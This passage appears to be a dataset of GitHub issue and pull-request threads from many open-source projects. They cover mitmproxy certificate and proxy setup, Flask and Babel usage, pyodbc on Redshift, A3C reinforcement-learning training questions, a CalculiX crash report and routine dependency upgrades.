    "rubyLsp.rubyVersionManager": "rbenv",
    "[ruby]": {
        "editor.defaultFormatter": "Shopify.ruby-lsp",
        "editor.tabSize": 2,
        "editor.insertSpaces": true,
        "editor.semanticHighlighting.enabled": true,
    },

authors: 4Jcostelo DariusPirvulescu Nassimadebeo ReneMoraales SunnyWind alexanderadam brainmaniac calmerwaters dominiceden helderasmoreira heldersantosmoreira loteresa2 marvin-min oleingemann philliplongman quaos ramzieus

repo: misogi/vscode-ruby-rubocop


text:
ブラウザ環境でのテスト

案: Hono in Service Workerとメインスレッドとで通信しあう

Request/Responseを直接constructしちゃうんでもいいかも


text:
Feature/spl

Add a sound pressure level

Can one of the admins verify this patch?

My apologies, this was a pull request meant for a fork used for development instead of meant to be added to the official repository at this time.

@noesterle No problem. We'll close it for now.

authors: AppInventorWorkerBee ewpatton noesterle

repo: mit-cml/appinventor-sources


text:
Fixes issue #606 -- prevents LocationChanged from returning lat,long …

…of 0,0.
Change-Id: Id143d8572972b6cb45ef08dd0e011ff247e5032c
An instance containing this change is available at https://trinity-appinventor.appspot.com.   A test app and source code are available here:  http://appinventor.cs.trincoll.edu/csp/gpstest/LocationSensorTester.apk and http://appinventor.cs.trincoll.edu/csp/gpstest/LocationSensorTester.aia.

Hal's right.  An App Inventor location update event should not be triggered with both lat and long are zero.   But if either one is non-zero, that is a valid location and should trigger an event.   So the logic should be:
if (lat != 0 || long != 0)
trigger a locationchanged event.

LGTM

On Gerrit for merging into UCR

MERGED into UCR

authors: halatmit jisqyv ram8647


text:
Unable to import certificate in Chrome on Ubuntu 16.04

Trying to set up certificates, according to this post I should be able to go into the settings in chrome and import a certificate. I am trying to import the certificates that I generated by running mitmproxy for the first time. I converted the 1.pemfiles to.crt` format using the method recommended in the stackoverflow post here, which is referenced from the certificate manual installation guide here.
I cannot import the private keys into chrome due to an error message that pops up when I try to import that says "Incorrect private key":
Screenshot trying to import mitmproxy-ca-cert.crt
Screenshot trying to import mitmproxy.ca.crt
Screenshot trying to import mitmproxy-ca-cert.p12 (What is the correct password?)
Steps to reproduce the problem:

Start mitmproxy after installing on Ubuntu 16.04
Try to import certificates manually into google chrome using the method recommended here
Still get " If you can see this, traffic is not passing through mitmproxy." on mitm.it

Any other comments? What have you tried so far?
Also tried installing using certutil -d sql:$HOME/.pki/nssdb -A -t C -n mitmproxy -i ~/.mitmproxy/mitmproxy-ca-cert.pem, hasn't worked for me but maybe I need to restart?
System information

Mitmproxy version: 2.0.2 (release version)
Python version: 3.5.2
Platform: Linux-4.10.0-38-generic-x86_64-with-Ubuntu-16.04-xenial
SSL version: OpenSSL 1.0.2g  1 Mar 2016
Linux distro: Ubuntu 16.04 xenial

Hi,

" If you can see this, traffic is not passing through mitmproxy."

This indicates that your traffic is not going through mitmproxy, i.e. it never reaches mitmproxy (and we thus cannot intercept it). This issue sounds unrelated to certificate import.

I cannot import the private keys into chrome due to an error message that pops up when I try to import that says "Incorrect private key":

It looks like you are importing in the wrong category. It probably needs to be added under "authorities". 😃

Thanks @mhils. It looks like traffic is not going through mitmproxy.
I have tried with the docker container and I am still having the same issue:
$ docker container ls
CONTAINER ID        IMAGE                 COMMAND                  CREATED              STATUS              PORTS                              NAMES
70d1c49426d9        mitmproxy/mitmproxy   "docker-entrypoint.s…"   About a minute ago   Up About a minute   0.0.0.0:8080->8080/tcp, 8081/tcp   happy_yonath
$ http_proxy=http://localhost:8080/ curl http://example.com/
curl: (7) Failed to connect to localhost port 8080: Connection refused

Any way to debug this? mitmproxy runs, I get the blue ncurses screen, and it looks like it should. However, I cannot reach localhost:8080.
Thanks in advance,
Eric

authors: ericstoekl mhils

repo: mitmproxy/mitmproxy


text:
Mitmproxy with authentication does not work with Maven

Problem Description
I have configured mitmproxy in my localhost with credentials in ~/.mitmproxy/config.yaml file. When I try to use maven deployment with the mitmproxy set-up. It hangs.
Maven CLI command
./mvn deploy:deploy-file -Durl=https://maven.pkg.github.com/Thevakumar-Luheerathan/module-ballerina-c2c -DrepositoryId=repo1 -Dfile=./pat-0.1.0.bala -DgroupId=luheerathan -DartifactId=pat -Dversion=0.1.124 -Dpackaging=bala  -s ./settings.xml  -X

settings.xml
<settings>
	<profiles>
		<profile>
			<id>
				my-repo-profile
			</id>
			<activation>
				<activeByDefault>
					true
				</activeByDefault>
			</activation>
			<repositories>
				<!-- Repository using the defined server ID -->
				<repository>
					<id>
						repo1
					</id>
					<url>
						https://maven.pkg.github.com/Thevakumar-Luheerathan/module-ballerina-c2c
					</url>
				</repository>
			</repositories>
		</profile>
	</profiles>
	<activeProfiles>
		<activeProfile>
			my-repo-profile
		</activeProfile>
	</activeProfiles>
	<servers>
		<server>
			<id>
				repo1
			</id>
			<username>
				Thevakumar-Luheerathan
			</username>
			<password>
				ghp_nA**************************************sdmLs
			</password>
		</server>
	</servers>
	<proxies>
		<proxy>
			<id>
				example-proxy
			</id>
			<active>
				true
			</active>
			<protocol>
				http
			</protocol>
			<host>
				127.0.0.1
			</host>
			<port>
				8080
			</port>
			<username>
				luhee
			</username>
			<password>
				modi
			</password>
		</proxy>
	</proxies>
</settings>

When I remove the credentials and try, It works fine.(This deployment works fine with squid proxy)
Steps to reproduce the behavior:

Configure Mitmproxy with credentials and start it.
Use above maven deployment command to deploy any artifact to a https repository.

System Information
Mitmproxy: 10.0.0
Python:    3.12.0
OpenSSL:   OpenSSL 3.1.4 24 Oct 2023
Platform:  macOS-13.5.2-arm64-arm-64bit

Maybe related to #6420?

authors: Thevakumar-Luheerathan nneonneo


text:
set BULK_EMAIL_DEFAULT_FROM_EMAIL

Should be set to the support email address for MITx Online.
In xPRO, this is set like so:
      BULK_EMAIL_DEFAULT_FROM_EMAIL: {{ support_email }}

What is the value that should be used here? It can be set at https://github.com/mitodl/ol-infrastructure/blob/main/src/bilder/images/edxapp/templates/common_values.yml#L136

mitxonline-support@mit.edu
Setting this will also fix https://github.com/mitodl/mitxonline/issues/115

Scratch that. It looks like the setting now is DEFAULT_FROM_EMAIL (it's not annotated, so it doesn't show up in the documentation)
DEFAULT_FROM_EMAIL = mitxonline-support@mit.edu
EMAIL_USE_DEFAULT_FROM_FOR_BULK = true

I'm assuming this will also need the following keys/values added

authors: blarghmatey pdpinch shaidar

repo: mitodl/ol-infrastructure


text:
MISP export

Tram is super useful and could cover the gap between unstructured information and structured information in a TIP like MISP. Thanks for the work! Looking at the code, if we extend WebAPI to add a new export function, I suppose that's the best way to do a MISP export to push the result in a MISP instance. We might extend the MISP objects to add the information contained in tram. Let me know if this make sense and we will start to work on it.

That makes sense to us, let us know if any problems occur. We are happy to see the community is interested and willing to aid in making the tool better!

This sounds good to me as well. Feel free to assign me to a pull request when you want your code reviewed, or if you have any questions about the code. Will keep the issue open for now until an initial pull request comes in, thanks!

Sorry in advance for being off topic, but it is so cool to see such collaboration and engagement! Great example to the rest of the community! Happy Holidays...

authors: adulau connormagee gvpdbish sarahyoder

repo: mitre-attack/tram


text:
Is there an option for defining namespaces?

Is there a way to define namespaces in Flask Babel? Let's say I have the word "Submit" and I want two different translations for the word in different places, in the same language.

@mohammadaminalaee thanks for your report!
Babel was barely maintained for some time and we're some new people trying to get it up to speed again. Because of this it might take some time until we're able to adress this bug.

@mohammadaminalaee I think Babel itself doesn't support this. You can take a look at the flask_babel extension, which have a pgettext function which allow you to do just that: different translations based on context:
https://github.com/mitsuhiko/flask-babel/blob/master/flask_babel/__init__.py#L484
I don't know if it's a key responsibility of Babel itself to address such functionality.

Thank you guys for your answers. Can you provide an example of pgettext() please?

@mohammadaminalaee
If you're using flask_babel it's pretty straightforward:
from flask_babel import pgettext

pgettext('first-place', 'Submit')
pgtettext('another-place', 'Submit')

This will generate two entries for Submit text to be translated.
For a pure Babel approach, take a look in the NullTranslations.upgettext[1], which does pretty the same thing.
[1] https://github.com/mitsuhiko/babel/blob/master/babel/support.py#L436

authors: erickwilder mohammadaminalaee sils1297

repo: mitsuhiko/babel


text:
request.form issue

Just encountered this issue. Don't know if it had already been reported.
Using request.form['field'] to access checkbox doesnot work; whereas request.form.get('field') works. It is possible to use both request.form.get('field') or request.form['field'] to access text fields.

"Works" and "Doesn't work" are not accurate descriptions for anything, especially without context. Please describe clearly what happens that you think shouldn't, what you think should happen instead and sufficient information - preferrably executable code - to reproduce the problem.

If a checkbox is unticked, no form value and no key is sent.

Hmm... Thanks @untitaker That sort of answers my question. :smiley:

authors: DasIch aliasm2k untitaker

repo: mitsuhiko/flask


text:
Dynamic redactions require use of internal types

The new dynamic redactions feature in 0.12.0 is cool! However, it depends on the user interacting with types from the internals module, notably Redaction and Content.
Additionally, Content has some variants that are explicitly hidden from documentation that are necessary to do some dynamic redactions, like Content::NewtypeStruct.
Are these types stable? Should I depend on them in my crate using Insta, or was depending on them an unintended artifact?

There was recently some breakage in the quote crate that occurred when code used hidden members that were marked pub after they were renamed. I want to avoid having similar accidental breakage if I'm depending on these corners of insta in my projects!
Should the currently hidden variants of Content be documented and un-hidden? If the structs are stable and not library internals, should the module be renamed?

I added more public API for this. I hope this resolve these issues.

authors: LPGhatguy mitsuhiko

repo: mitsuhiko/insta


text:
Not that secure - might consider redirecting for safer alternative

http://googleonlinesecurity.blogspot.co.uk/2014/09/gradually-sunsetting-sha-1.html

That doesn't make this crate useless. There are valid use cases for it. In fact there are many many programs out there still relying on sha1, git being among them.
Redirecting if sha1 is exactly what is needed makes no sense

Providing info when sha1 is exactly what is needed is a must IMHO.

Irrelevant for this crate.

authors: badboy mitsuhiko techtonik


text:
NullReferenceException in MixerInteractiveHelper

It seems that if you start a game and then leave it going for a while in the Unity editor you get flooded with NRE's in the MixerInteractiveHelper:
NullReferenceException: Object reference not set to an instance of an object
MixerInteractiveHelper.Update () (at Assets/MixerInteractive/Source/Scripts/MixerInteractiveHelper.cs:87)

Any updates on this? I have the same problem.

Hi, not yet encountered it but will probably will when doing longer demos, interested to see how is this solved.

authors: Mobius5150 WatchaGames mkpazon

repo: mixer/interactive-unity-plugin


text:
Add an option to disable ViewCrawler

On Mixpanel 4.5+, there is a ViewCrawler the periodically processes messages on the main thread.
ViewCrawler is needed for these features to work:

Web Configuration
A/B Testing
Dynamic Tweaks.

But if you are not using those features, there is no reason to incur the performance hit of having extra things run on your main thread.
Please add the ability to disable ViewCrawler ( for those that don't need Web Configuration, A/B Testing, and Dynamic Tweaks )

Closing since it's already merged PR #313
Thanks @yogurtearl !

is there a way to have tweaks without the viewcrawler? or perhaps any way to run A/B tests without having to use the viewcrawler? my use case is i would like to simply get my variant for the test and update the UI myself without mixpanel's UI tools (as cool as they are!)

Hi @aneemtalukder - sadly nope :(

ahh got it, thanks!

authors: aneemtalukder patedit yogurtearl

repo: mixpanel/mixpanel-android


text:
how to test the model?

Hi, I am new to Tensorflow and interested in running this project.
But I don't see test descriptions in your readme wiki. Could you please give a description how to test the model?
Thanks a lot.

First you need to install ALE by following the instruction written in
https://github.com/miyosuda/async_deep_reinforce#how-to-build
If you prefer OpenAI gym instead of ALE, you can use "gym" branch.
Learned model data is not included in repository because of size, so you need to run learning process to see the learning result.
To run learning,
$python a3c.py

After running for hours, please stop learning with hitting "Ctrl-C" key in console to stop learning. Then learned data is saved.
After that you can see the game result with.
$python a3c_disp.py

Thanks for your quick response, Miyosuda. I was confused before. Currently I am using your project to do some other problems. Would you mind give me an email address that I can contact with you, appreciated if you may help me for some others? Thanks very much.

Thanks for your quick response. I have one other problem, I noticed you set gradient norm clip to be 40, could you tell me how to choose this number? Thanks in advance.

I followed the advice given by @aravindsrinivas in issues thread.
https://github.com/miyosuda/async_deep_reinforce/issues/1#issuecomment-214360003

The maximum allowed gradient norm was 40.

Hi, Miyosuda, I have one question while testing. When you are doing test, choose action is also done by randomly select one action but according by their distribution, but why not just choose the largest probability action???

Hello,
Following the probability distribution allows to find non deterministic policies which could be better than deterministic ones when the state perception isn't complete and differents states leads to the same perception but the optimal action isn't necessarily the same in thoose states.
I think that it might not be useful in some games like breakout in which I suppose that 4 game frames could be sufficient to sum up the internal game state but it could be useful in some other games in which for example you only see à small part of the screen at a time.
However, I'm not sure it's still useful when the agent has some kind of memory (like lstm cells).

@lforg37 Thanks for your reply. Can I understand like this, whether deterministic is decided by the task, in some task, maybe deterministic policy is better, better while in the game like breakout or pong, maybe stochastic policy is better.

@apeterswu I think it depends more on how much information you get from the environnent than on intrinsics characteristics of the tasks. If you could have all the informations from the environnent internal state, you could allways have an optimal deterministic policy. But I don't know how you define a task so if it includes the given information from the environnent I agree with you.
And for lstm, they modify the perceived state so even if two environnement states give the same perceptions, the lstms (or whatever internal memory the agent uses) car be used to distinguish one from the other. So I think it could eliminate the need of using a stochastic policy.

Hi, @miyosuda , I got one more problem. In your original code, save model only happens when we use "ctrl+c". I want to save the intermediate model, so I modified the "a3c.py" in "train_function":
while True:
    if global_t > log_k * 500000 and parallel_index == 0:
      print global_t
      if not os.path.exists(CHECKPOINT_DIR):
        os.mkdir(CHECKPOINT_DIR)
      saver.save(sess, CHECKPOINT_DIR + '/' + 'checkpoint', global_step = global_t)
      log_k = log_k + 1

    if stop_requested:
      break
    if global_t > MAX_TIME_STEP:
      break

    diff_global_t = training_thread.process(sess, global_t, summary_writer,
                                            summary_op, score_input)
    global_t += diff_global_t

I defined "log_k" to be global just like "global_t", but I found one problem is that, when it successfully saved some model, e.g. 50w, 100w, 200w.., later, if saved 400w, it would cover former saved model/delete former saved model, which means 20w,100w...saved model are gone, the directory would only have 400w model... I am very confused about this problem, and have no idea why it happens. Could you please help? Thanks.

https://www.tensorflow.org/versions/r0.10/api_docs/python/state_ops.html#Saver

max_to_keep indicates the maximum number of recent checkpoint files to keep. As new files are created, older files are deleted. If None or 0, all checkpoint files are kept. Defaults to 5 (that is, the 5 most recent checkpoint files are kept.)

How about applying 0 for "max_to_keep"?

@miyosuda Thanks a lot. I think it will help.

@apeterswu
The reason for drawing from probability distribution over discrete action space is two-fold:

During Training this helps in exploration. Suppose you think that action 1 is the best and current policy has assigned it probability of 0.8. It might happen due to stochasticity of policy that you pick action 4 which had probability 0.05. Now if this action gave a reaaaaaally big reward, then it would make sense to increase the probability of this action, right? This would never have been possible if you kept picking the max probability action again and again.

During testing time, whether drawing from distribution differs from picking max probability action depends on the kind of policy you have converged to:

Case 1: The policy is very soft meaning that no one action has very high (near 1) probability. In this case it is true that selecting max probability action would yield to better performance. However, if you do not select actions with randomness, you have no idea how well the agent does in certain parts of the state-space. The agent could learn to play game in a way such that it always scores a very high score but ONLY for a single trajectory of (observations, actions). To guard against this, the best way to evaluate stochastic soft policies is to do some kind of an epsilon-greedy evaluation. High score under this scheme would point to the fact that the agent can handle some level of stochasticity and performs well in many parts of the state space. I think the ideal way to evaluate is to range epsilon from 0 to 1 and plot a curve of average score versus epsilon. This gives a very good idea of how the agent can handle being in difficult parts of the state space.
Case 2: If the policy you have converged to is hard (say that for any state there exists a single action with probability of picking that action > 0.9999) then it probably won't matter which evaluation procedure is followed.

@miyosuda @lforg37 , currently I am using this framework to do another problem(the optimal policy will be a deterministic policy), but replace the CNN to be FF, and use lstm, but found no improvement after trained more than 2000w steps, what kind of elements do you think would be the reasons? Is it because this is a deterministic problem?

@sahiliitm, Thanks for your response. I agree with your idea during training, I am just curious about the performance of this two ways. Just like my question on last comment, I do know I have a problem which the best policy would be a deterministic policy, do you think soft training and soft test would be a good solution?

@apeterswu  Maybe the hyperparameters (learning rate, ...) are not optimised for your problem ? Or your initial weights are not good ? Without any more informations on the problem it is difficult to have a clue on what should have been wrong.
@sahiliitm

Case 1: The policy is very soft meaning that no one action has very high (near 1) probability. In this case it is true that selecting max probability action would yield to better performance.

I don't agree with that statement. Let's imagine you have the following problem (taken from David Silver reinforcement learning course) : an agent is on a discrete map.
The agent can only perceive the following attribute from it's place : SW, EW,NW, WW which are booleans which are true if there is a wall on south, east, north, west.
Let's take the following map :
 _____ _____ _____ _____ _____
|                             |
|  1     2     3     4     5  |
|      _____       _____      |
|     |     |     |     |     |
|  6  |     |  7  |     |  8  |
|_____|     |_____|     |_____|

Let's say there is a trap in the places 6 and 8 and there is a treasure in the place 7.
Your reward is -10 when you get into places 6 and 8  and 10 when you get into place 7. Places 7, 6 and 8 are final states.
If you have a deterministic policy, once your learning is done you will always choose the same action for the same perceived state. The problem is that for places 2 and 4 the perceived state is the same (i.e. SW and NW are true, EW and WW are false) so you would have to choose the same action when you are in 2 or in 4.
Or this is clearly a bad idea because if you choose for example to always go to the left, when you get in place 2 depending on your best action for 1 you either loop infinitely in (1,2,1,2...) or you do (1,2,6). If you choose to always go right the problem is the same when you get in place 4.
If you have a stochastic policy, you could learn that when you perceive (SW && NW && !EW && !WW) you have to go left in 50% of the time and right the other 50%. This way, you could do a small loop (1,2,1,2...) but you know that eventually you will reach 3. The optimal stochastic policy given the perception is thus
 _____ _____ _____ _____ _____
|                             |
|  >    < >    v    < >    <  |
|      _____       _____      |
|     |     |     |     |     |
|  X  |     |  X  |     |  X  |
|_____|     |_____|     |_____|

@lforg37
Under the assumption that the observations could be aggregated to get a MDP-like state, my statement is true :)
The case you mention is that of a POMDP. Typically in atari domain with 4 concatenated states we get a reasonably good approximation to a MDP-state.
In your case, the state can be the concatenation of last 4 observations.
Besides my statement was meant to be an "emperical truth" in the sense that this is what I have observed in my experiments with Atari. Certainly, there could exist synthetic examples where it is not true. But from my experiments, sampling from A3C-Learnt policies (for my modification of A3C) led to average scores of about 7000 on sea quest whereas not sampling but picking max probability actions (90% of times) lead to scores of about 18000.

@sahiliitm I'm sorry in this case. I think you were talking in the general case.

@lforg37  thanks for pointing out that case :) I hadn't considered it.

@sahiliitm owo, I think your result is good. Could you explain more about your action chosen during training and testing? That would be very helpful. Thanks a lot.
@miyosuda , One small question about LOCAL_T_MAX, you write the comment: "#repeat step size", it is repeat one action size? not the forward step (which means n-step)?

@miyosuda , if I want to add one more LSTM layer for policy output, and one more another LSTM layer for value output, how to modify the network, could you help just write an example, thanks a lot.

authors: apeterswu lforg37 miyosuda sahiliitm


text:
Add air pressure to reports

Geosubmit v2 API supports including air pressure in the location data. This could be used by the server to estimate the altitude or to verify the altitude received from GPS
https://developer.android.com/develop/sensors-and-location/sensors/sensors_environment#sensors-using-temp

This could be incredibly helpful for verifying elevation values on the server: beacondb#50.

authors: joelkoen mjaakko

repo: mjaakko/NeoStumbler


text:
SyntaxError: unknown: Identifier directly after number "0n"

When tried to load swc module I got this error:
Cannot generate module for @swc/wasm-web@1.3.19/wasm-web.js

SyntaxError: unknown: Identifier directly after number (536:64)

  534 |         const v = getObject(arg1);
  535 |         const ret = typeof(v) === 'bigint' ? v : undefined;
> 536 |         getBigInt64Memory0()[arg0 / 8 + 1] = isLikeNone(ret) ? 0n : ret;
      |                                                                 ^
  537 |         getInt32Memory0()[arg0 / 4 + 0] = !isLikeNone(ret);
  538 |     };
  539 |     imports.wbg.__wbindgen_bigint_from_i64 = function(arg0) {

undefined

I have run into the same issue.
A sorta workaround is to dig into the package:
// import 'https://unpkg.com/@cortex-js/compute-engine?module'; // fails with "unknown: Identifier directly after number"
import 'https://unpkg.com/@cortex-js/compute-engine@latest/dist/compute-engine.min.esm.js';

Your example works for me, I can get back proper javascript and it seems to redirect for me to https://unpkg.com/@cortex-js/compute-engine@0.12.0/dist/compute-engine.min.esm.js?module for your package.

yes, using the long import works.
Using:
import 'https://unpkg.com/@cortex-js/compute-engine?module';

The server returns:

Cannot generate module for @cortex-js/compute-engine@0.12.0/dist/compute-engine.min.esm.js

SyntaxError: unknown: Identifier directly after number (2:141047)

1 | /** CortexJS Compute Engine 0.12.0 */
2 | function e(e){return!("kind"in e)||"symbol"===e.kind}function i(e){return!

I'm going to work around this issue by replacing 1n with BigInt(1) but in case you need to reproduce it, you can use :https://unpkg.com/@cortex-js/compute-engine@0.12.0/dist/compute-engine.min.esm.js?module.
FWIW I wasn't expecting the ?module option to modify/process the JS file from the library, I was using it mostly so that it would point at the right file (esm vs non-esm) based on the info in the package.json. file.

Well , this won't fix my issue 😁

authors: adminy arnog

repo: mjackson/unpkg


text:
Deploy on Kubernetes | error Curl (52) Empty reply from server

Hello,
I am trying to run it on kubernetes as a deployment. some reason not getting the metrics on prometheus.
Is there any best practice  to be followed inorder to  run on  kubernetes?

details are attached . running solidfire-exporter as a deployment and injecting the values as env. pod is getting up and running fine  getting "Empty reply from server" when curl the endpoint  and port. Please find thge screen shot attached.
We have restriction to run container as root user. So the deployment i defined to run as user 99. Does the exporter required to be run as root user?

Hey there @arunbpt7

can you describe what your setup is? deployment and service?
are there any logs from the pod?
can you try doing a port forward on the pod and curl localhost:9987/metrics and see what you get?

It works now . The issue was with the environment variable pattern.

Great! 👍


text:
Add additional graphs to dashboard

As a user, I want to see a similar number of graphs as on the MongoDB Charts dashboard, so that I can start using streamlit instead
Notes

[ ] Add a track of GIF launches
[x] Add a breakdown of launches by Duty
[x] Add total number of launches
[x] Add a filter for AC commander

@dgscwhite I have added an additional table in my pull request. We may get some merge conflicts
due to this, however, I can help you
resolve them.


text:
feat: update eslint and prettier

Pretty big diff because of all the rule changes, but should be good to go.
No Eslint 7.x yet because the plugins are not supported yet.

hmm prettier 2.x fails on the node 8 CI but that is because it requires node >= 10, but technically it isn't a breaking change since it is just a devDepencendy.
shouldn't the CI be run w/ --prod to avoid this problem?

I think we should just remove node 8 and move on node 12 as LTS

Same conflict here with yarn lock 👍

If you are not gonna test features on node 8 you can break some users. Are you gonna start working on v5?

I'll resolve the conflicts after the CI changes are merged

@TrySound yeah I was wondering the same thing, but it seems like the current version strategy isn't truly semver. For example node 6 got dropped around the 4.4.0 release and it's not clear which node versions are directly supported (no engines field in package.json etc.)

If you are not gonna test features on node 8 you can break some users. Are you gonna start working on v5?

I don't know if we have to push a major v5 for that, as node 8 no longer supported anymore. Travis.yml were not updated to reflect current node LTS. 4.6.X might be the latest version to officialy support it and then we're moving to 4.7.X branch now.

@iRyusa rebased

authors: DRoet TrySound iRyusa

repo: mjmlio/mjml


text:
Mj-section_del_one_aside

mj-section_del_one_aside
A "warning" aside is duplicated early in packages/mjml-section/README.md. This deletes one of them.
Further, this shortens the wording in that aside. It removes awkward wording and clarifies.
It gets the same message across better.
No change to any JavaScript file.

Flawed.


text:
Executing queries with parameters: Amazon Redshift

Environment

Python: Python 3.6.1 :: Anaconda custom (64-bit)
pyodbc: 4.0.17-py36_0
OS: Debian 9 Stretch
DB: Redshift
driver: Amazon Redshift driver downloaded from http://docs.aws.amazon.com/redshift/latest/mgmt/install-odbc-driver-linux.html

Issue
I can't seem to pass parameters to my stored queries. The error can be easily reproduced with a simple query:
cursor.execute("SELECT TOP ? hash FROM opauto_homolog.opauto_offer", 1)
Thrown exception:
pyodbc.ProgrammingError: ('42601', '[42601] [Amazon][Amazon Redshift] (30) Error occurred while trying to execute a query: [SQLState 42601] ERROR:  syntax error at or near "("\nLINE 1: SELECT TOP ($1) hash FROM opauto_homolog.opauto_offer\n                   ^\n (30) (SQLPrepare)')

Not all datasources support parameterisation of arbitrary query expressions. For example, SQL Server requires "SELECT TOP (?)" (with the parentheses). pyODBC does not process queries nor perform parameterisation itself, and leaves this to the ODBC driver. Please consult the Redshift documentation for more information.

Oh, didn't know about that! Thank you :)
Couldn't find the documentation on how to use it so I am preparing the query myself with string formatting.

authors: fabiopicchi v-chojas

repo: mkleehammer/pyodbc


text:
CGX crash with swep

This code crashes CGX 2.12 with elemChecker.c enabled (should that matter here? No elements generated so far)
valu ri 10
seto ind
  pnt pk0 0 0 0
  pnt pkx ri 0 0
  pnt pky 0 ri 0
  pnt pkz 0 0 ri
  #line lxy pkx pky pk0 8
  #line lyz pky pkz pk0 8
  line lzx pkz pkx pk0 8
  swep ind inds rot z 90 10 n

This is part of the CGX output
bug.fbd opened
 reading file
   #line lxy pkx pky pk0 8
   #line lyz pky pkz pk0 8
X: 0.000000 Y: 0.000000 Z: 10.000000
X: 1.950903 Y: 0.000000 Z: 9.807853
X: 3.826834 Y: 0.000000 Z: 9.238795
X: 5.555702 Y: 0.000000 Z: 8.314696
X: 7.071068 Y: 0.000000 Z: 7.071068
X: 8.314696 Y: 0.000000 Z: 5.555702
X: 9.238795 Y: 0.000000 Z: 3.826834
X: 9.807853 Y: 0.000000 Z: 1.950903
X: 10.000000 Y: 0.000000 Z: 0.000000
fitting B-Spline...BSpline fitting ... done
Error: 0.00131488 after 12-iterations
 --> Done
N001 DEFINE COMPACT 3 2 11 9 15 12
*** buffer overflow detected ***: /home/user/A_Inst_Calculix/CalculiX/cgx_2.12/src/cgx terminated

bugfix by Pascal Mossier (author of the cgx code for the new option -n):
I corrected both bugs with minor changes in the source files:
copyEntity.c
uselibSNL.cpp
With the altered files, the test case worked, and the goemetry could be meshed with tr3.
Tr6u failed due to ambigious points.
cgx sweping issue.zip

repo: mkraska/CalculiX-Examples


text:
Add thin thread petrinet modelsupport

Add support for petrinet model format to the generalized encoding branch changes (after they get merged)

In 93c01ee6b4f18304925ddffc1ec180945c8acb3d


text:
[Question]How to use the function call of android？

❓ General Questions

I tried to use the function call in the Android project, but failed. It seems to be supported in the code, I don't know whether it is my writing or other reasons.

The format is written in reference to the description format of function in langchain. Please tell me how to write it.

哇
中国人诶
不过你觉得作者懂中文吗？
给个翻译呗🌚

Limited by the problem of mobile computing power, mobile phones are unlikely to deploy large-scale models for the time being. Therefore, the current mobile model cannot handle very professional and complex problems, and function call is very important. As long as the model can realize what I want to do, it can call corresponding functions and solve many problems, which is a better solution at present. The promotion of large model framework for mobile terminal deployment can also play a very positive role. I hope the author can pay attention to my problem. function call is very important for the current mobile terminal!

repo: mlc-ai/mlc-llm


text:
✨ Feature/fastapi

Changes?
Chapter 3. FastAPI 추가
Test?

Install requirements

make init

Tutorials

uvicorn tutorial.main:app --reload
uvicorn tutorial.crud_path:app --reload
uvicorn tutorial.crud_query:app --reload
uvicorn tutorial.crud_pydantic:app --reload

Run Main API Server

make server

Stop Main API Server

make server-clean

석기님 make server 로 띄울 경우에 db를 reproduce하는 방법이 있나요?

석기님 파트는 챕터 5입니다!

석기님 파트는 챕터 5입니다!

넵 알겠습니다!

@datawhales 석기님 my_app 폴더는 그러면 PR 리뷰만 하고 지우고 머지가 되는건가요?

@datawhales 석기님 my_app 폴더는 그러면 PR 리뷰만 하고 지우고 머지가 되는건가요?

넵넵 정확히는 PR 자체를 my_app 지우고 브랜치명도 바꿔서 다시 띄우려고요!

authors: Aiden-Jeon datawhales dongminlee94

repo: mlops-for-mle/mlops-for-mle


text:
Fix typo that causes hour to be unset in Android datetime picker

There's a small typo in Android's date picker while in "datetime" mode that causes the hour to be ignored from the "date" prop. I also moved this code to use moment since this was used in the time picker. This keeps consistency across the code.

Merged, thank you :)

authors: mmazzarolo oliveroneill


text:
RegExReplace not properly converted

Input:
Temp := RegExReplace(Clip, "(?<=\w)\x{00AD}\R(?=\w)", "") ;join hyphenated lines separated by soft hyphen
Temp := RegExReplace(Temp, "(?<=-)\x{00AD}\R(?=\w)", "") ;remove soft hyphen after an actual hyphen
Temp := RegExReplace(Temp, "(?<=\w)-\R(?=\w)", "") ;join hyphenated lines separated by hyphen

Output:
Temp := RegExReplace(Clip, "(?<=\w)\x{00AD}\R(?=\w)", " ;join hyphenated lines separated by soft hyphen
Temp := RegExReplace(Temp, "(?<=-)\x{00AD}\R(?=\w)", " ;remove soft hyphen after an actual hyphen
Temp := RegExReplace(Temp, "(?<=\w)-\R(?=\w)", " ;join hyphenated lines separated by hyphen

Manually converted code:
Temp := RegExReplace(Clip, "(?<=\w)\x{00AD}\R(?=\w)", "") ;join hyphenated lines separated by soft hyphen
Temp := RegExReplace(Temp, "(?<=-)\x{00AD}\R(?=\w)", "") ;remove soft hyphen after an actual hyphen
Temp := RegExReplace(Temp, "(?<=\w)-\R(?=\w)", "") ;join hyphenated lines separated by hyphen

Note that the auto-converted code lacks the closing quotes and the closing brackets.

Only occurs when param2 has brackets and param3 is defined but blank

license: Unlicense


text:
[Snyk] Upgrade eslint from 8.41.0 to 8.42.0

This PR was automatically created by Snyk using the credentials of a real user.Snyk has created this PR to upgrade eslint from 8.41.0 to 8.42.0.
:information_source: Keep your dependencies up-to-date. This makes it easier to fix existing vulnerabilities and to more quickly identify and fix newly disclosed vulnerabilities when they affect your project.

The recommended version is 1 version ahead of your current version.
The recommended version was released 23 days ago, on 2023-06-02.

Release notes

Package name: eslint

8.42.0 - 2023-06-02Features

b8448ff feat: correct no-useless-return behaviour in try statements (#16996) (Nitin Kumar)

Bug Fixes

a589636 fix: Config with ignores and without files should not always apply (#17181) (Milos Djermanovic)
c4fad17 fix: Correct ignore message for "node_modules" subfolders (#17217) (Francesco Trotta)

Documentation

01d7142 docs: Update README (GitHub Actions Bot)
e5182b7 docs: Update README (GitHub Actions Bot)

Chores

6ca5b7c chore: upgrade @ eslint/js@8.42.0 (#17236) (Milos Djermanovic)
67fc5e7 chore: package.json update for @ eslint/js release (ESLint Jenkins)
0892412 refactor: remove Identifier listener in no-irregular-whitespace (#17235) (Milos Djermanovic)
f67d298 test: Add FlatESLint tests with missing config files (#17164) (Milos Djermanovic)
5b68d51 chore: Fix fixedsize attribute in code path analysis DOT debug output (#17202) (Milos Djermanovic)
37432f2 chore: update descriptions in key-spacing tests (#17195) (Milos Djermanovic)

8.41.0 - 2023-05-19Features

880a431 feat: change default ignore pattern to **/node_modules/ in flat config (#17184) (Milos Djermanovic)
8bf5505 feat: expose shouldUseFlatConfig (#17169) (Connor Prussin)

Bug Fixes

4f5440d fix: incorrect warning message for ignored dotfiles (#17196) (Milos Djermanovic)
94da96c fix: unify LintMessage type (#17076) (Brandon Mills)
0c415cd fix: validate ignorePatterns constructor option in FlatESLint class (#17139) (Milos Djermanovic)
